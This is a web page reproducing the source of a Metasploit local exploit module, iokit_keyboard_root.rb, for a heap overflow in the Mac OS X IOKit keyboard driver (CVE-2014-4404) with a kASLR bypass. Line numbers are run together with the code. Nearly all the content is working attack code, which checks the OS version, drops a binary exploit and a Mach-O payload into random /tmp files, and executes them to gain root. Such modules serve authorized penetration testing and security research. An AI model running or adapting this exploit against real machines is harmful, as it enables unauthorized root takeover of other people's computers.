Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/iokit_keyboard_root.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking # Can cause kernel crash78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',16'Description' => %q{17A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory18corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel19pointers can also be leaked, allowing a full kASLR bypass.2021Tested on Mavericks 10.9.5, and should work on previous versions.2223The issue was patched silently in Yosemite.24},25'License' => MSF_LICENSE,26'Author' =>27[28'Ian Beer', # discovery, advisory, publication, and a most excellent blog post29'joev' # copy/paste monkey30],31'References' =>32[33[ 'CVE', '2014-4404' ],34[ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],35# Heap overflow:36[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],37# kALSR defeat:38[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]39],40'Platform' => 'osx',41'Arch' => ARCH_X64,42'SessionTypes' => [ 'shell', 'meterpreter' ],43'Targets' => [44[ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]45],46'DefaultTarget' => 0,47'DisclosureDate' => '2014-09-24'48))49end5051def check52if ver_lt(osx_ver, "10.10")53CheckCode::Appears54else55CheckCode::Safe56end57end5859def exploit60if is_root?61fail_with Failure::BadConfig, 'Session already has root privileges'62end6364if check != CheckCode::Appears65fail_with Failure::NotVulnerable, 'Target is not vulnerable'66end6768exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')69binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))70binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)71exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"72payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"7374print_status("Writing exploit file as '#{exploit_file}'")75write_file(exploit_file, binary_exploit)76register_file_for_cleanup(exploit_file)7778print_status("Writing payload file as '#{payload_file}'")79write_file(payload_file, binary_payload)80register_file_for_cleanup(payload_file)8182print_status("Executing payload...")83cmd_exec("chmod +x #{exploit_file}")84cmd_exec("chmod +x #{payload_file}")85cmd_exec("#{exploit_file} #{payload_file}")86end8788def osx_ver89cmd_exec("sw_vers -productVersion").to_s.strip90end9192def ver_lt(a, b)93Rex::Version.new(a) < Rex::Version.new(b)94end95end969798